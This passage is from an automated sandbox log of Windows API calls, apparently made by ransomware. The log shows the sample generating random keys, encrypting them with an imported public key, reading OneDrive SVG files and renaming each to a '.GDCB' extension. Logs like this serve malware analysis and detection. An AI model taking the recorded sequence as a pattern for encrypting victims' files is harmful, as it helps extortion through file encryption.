(lpModuleName="Advapi32.dll") returned 0x74c90000 [0201.303] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0201.303] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0201.303] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0201.303] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4430) returned 1 [0201.304] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0201.305] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0201.305] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0201.305] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0201.305] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4e48) returned 1 [0201.307] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x50d2bd0) returned 1 [0201.307] CryptGetKeyParam (in: hKey=0x50d2bd0, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0201.307] CryptEncrypt (in: hKey=0x50d2bd0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x63a0000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x63a0000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0201.308] GetLastError () returned 0x0 [0201.308] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0201.308] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4e48) returned 1 [0201.310] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x50d2c50) returned 1 [0201.310] CryptGetKeyParam (in: hKey=0x50d2c50, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0201.310] CryptEncrypt (in: hKey=0x50d2c50, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x63b0000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x63b0000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0201.310] GetLastError () returned 0x0 [0201.310] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0201.310] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\images\\onDemandSelectiveSync.svg" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.7076.1026\\images\\ondemandselectivesync.svg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x514 [0201.312] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x67c0000 [0201.313] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x67d0000 [0201.314] ReadFile (in: hFile=0x514, lpBuffer=0x67d0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0x67d0000*, lpNumberOfBytesRead=0x285d3e8*=0xa54, lpOverlapped=0x0) returned 1 [0201.389] VirtualAlloc (lpAddress=0x0, dwSize=0xa60, flAllocationType=0x3000, flProtect=0x4) returned 0x68e0000 [0201.394] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\images\\onDemandSelectiveSync.svg" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.7076.1026\\images\\ondemandselectivesync.svg"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\images\\onDemandSelectiveSync.svg.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.7076.1026\\images\\ondemandselectivesync.svg.gdcb")) returned 0 [0201.397] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4540) returned 1 [0201.399] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0201.400] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0201.400] CryptGenRandom (in: hProv=0x5c4540, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0201.400] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0201.400] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4430) returned 1 [0201.401] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0201.402] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0201.402] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0201.402] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0201.403] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4e48) returned 1 [0201.405] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x50d2a90) returned 1 [0201.405] CryptGetKeyParam (in: hKey=0x50d2a90, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0201.405] CryptEncrypt (in: hKey=0x50d2a90, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x63a0000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x63a0000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0201.405] GetLastError () returned 0x0 [0201.405] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0201.405] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4e48) returned 1 [0201.407] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x50d2cd0) returned 1 [0201.407] CryptGetKeyParam (in: hKey=0x50d2cd0, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0201.407] CryptEncrypt (in: hKey=0x50d2cd0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x63b0000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x63b0000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0201.408] GetLastError () returned 0x0 [0201.408] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0201.408] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\images\\onedrivePremium.svg" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.7076.1026\\images\\onedrivepremium.svg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x514 [0201.409] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x67c0000 [0201.411] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x67d0000 [0201.412] ReadFile (in: hFile=0x514, lpBuffer=0x67d0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0x67d0000*, lpNumberOfBytesRead=0x285d3e8*=0x46c, lpOverlapped=0x0) returned 1 [0201.435] VirtualAlloc (lpAddress=0x0, dwSize=0x470, flAllocationType=0x3000, flProtect=0x4) returned 0x68e0000 [0201.577] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\images\\onedrivePremium.svg" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.7076.1026\\images\\onedrivepremium.svg"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\images\\onedrivePremium.svg.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.7076.1026\\images\\onedrivepremium.svg.gdcb")) returned 1 [0201.702] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4760) returned 1 [0201.703] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0201.704] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0201.705] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0201.705] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0201.705] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4e48) returned 1 [0201.706] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0201.707] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0201.707] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0201.707] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0201.707] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4430) returned 1 [0201.709] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x50d2ed0) returned 1 [0201.709] CryptGetKeyParam (in: hKey=0x50d2ed0, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0201.709] CryptEncrypt (in: hKey=0x50d2ed0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x63a0000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x63a0000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0201.709] GetLastError () returned 0x0 [0201.709] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0201.709] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4e48) returned 1 [0201.711] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x50d2c10) returned 1 [0201.711] CryptGetKeyParam (in: hKey=0x50d2c10, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0201.711] CryptEncrypt (in: hKey=0x50d2c10, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x63b0000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x63b0000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0201.711] GetLastError () returned 0x0 [0201.711] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0201.711] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\images\\overflowIcon.svg" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.7076.1026\\images\\overflowicon.svg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x514 [0201.713] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x67c0000 [0201.714] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x67d0000 [0201.715] ReadFile (in: hFile=0x514, lpBuffer=0x67d0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0x67d0000*, lpNumberOfBytesRead=0x285d3e8*=0x3db, lpOverlapped=0x0) returned 1 [0201.785] VirtualAlloc (lpAddress=0x0, dwSize=0x3e0, flAllocationType=0x3000, flProtect=0x4) returned 0x68e0000 [0201.789] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\images\\overflowIcon.svg" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.7076.1026\\images\\overflowicon.svg"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\images\\overflowIcon.svg.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.7076.1026\\images\\overflowicon.svg.gdcb")) returned 1 [0201.793] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4e48) returned 1 [0201.795] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0201.795] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0201.796] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0201.796] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0201.796] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4e48) returned 1 [0201.797] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0201.798] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0201.798] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0201.798] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0201.798] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4e48) returned 1 [0201.801] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x50d2850) returned 1 [0201.801] CryptGetKeyParam (in: hKey=0x50d2850, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0201.801] CryptEncrypt (in: hKey=0x50d2850, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x63a0000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x63a0000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0201.801] GetLastError () returned 0x0 [0201.801] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0201.801] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4540) returned 1 [0201.975] CryptImportKey (in: hProv=0x5c4540, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x50d2b90) returned 1 [0201.975] CryptGetKeyParam (in: hKey=0x50d2b90, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0201.975] CryptEncrypt (in: hKey=0x50d2b90, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x63b0000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x63b0000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0201.976] GetLastError () returned 0x0 [0201.976] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0201.976] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\images\\overflowIconWhite.svg" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.7076.1026\\images\\overflowiconwhite.svg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x514 [0201.977] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x67c0000 [0201.979] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x67d0000 [0201.980] ReadFile (in: hFile=0x514, lpBuffer=0x67d0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0x67d0000*, lpNumberOfBytesRead=0x285d3e8*=0x390, lpOverlapped=0x0) returned 1 [0201.989] VirtualAlloc (lpAddress=0x0, dwSize=0x390, flAllocationType=0x3000, flProtect=0x4) returned 0x68e0000 [0201.993] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\images\\overflowIconWhite.svg" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.7076.1026\\images\\overflowiconwhite.svg"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\images\\overflowIconWhite.svg.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.7076.1026\\images\\overflowiconwhite.svg.gdcb")) returned 1 [0201.999] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4980) returned 1 [0202.001] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0202.002] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0202.002] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0202.002] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0202.002] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4e48) returned 1 [0202.003] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0202.004] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0202.004] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0202.004] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0202.004] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4980) returned 1 [0202.006] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x50d29d0) returned 1 [0202.006] CryptGetKeyParam (in: hKey=0x50d29d0, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0202.006] CryptEncrypt (in: hKey=0x50d29d0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x63a0000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x63a0000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0202.006] GetLastError () returned 0x0 [0202.006] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0202.006] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4980) returned 1 [0202.008] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x50d28d0) returned 1 [0202.008] CryptGetKeyParam (in: hKey=0x50d28d0, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0202.008] CryptEncrypt (in: hKey=0x50d28d0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x63b0000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x63b0000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0202.008] GetLastError () returned 0x0 [0202.008] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0202.008] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\images\\partiallyFreezing.svg" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.7076.1026\\images\\partiallyfreezing.svg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x514 [0202.010] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x67c0000 [0202.011] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x67d0000 [0202.012] ReadFile (in: hFile=0x514, lpBuffer=0x67d0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0x67d0000*, lpNumberOfBytesRead=0x285d3e8*=0x1137, lpOverlapped=0x0) returned 1 [0202.179] VirtualAlloc (lpAddress=0x0, dwSize=0x1140, flAllocationType=0x3000, flProtect=0x4) returned 0x68e0000 [0202.184] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\images\\partiallyFreezing.svg" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.7076.1026\\images\\partiallyfreezing.svg"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\images\\partiallyFreezing.svg.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.7076.1026\\images\\partiallyfreezing.svg.gdcb")) returned 1 [0202.187] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4430) returned 1 [0202.189] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0202.190] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0202.190] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0202.190] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0202.190] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4760) returned 1 [0202.191] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0202.192] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0202.192] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0202.192] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0202.192] CryptAcquireContextW 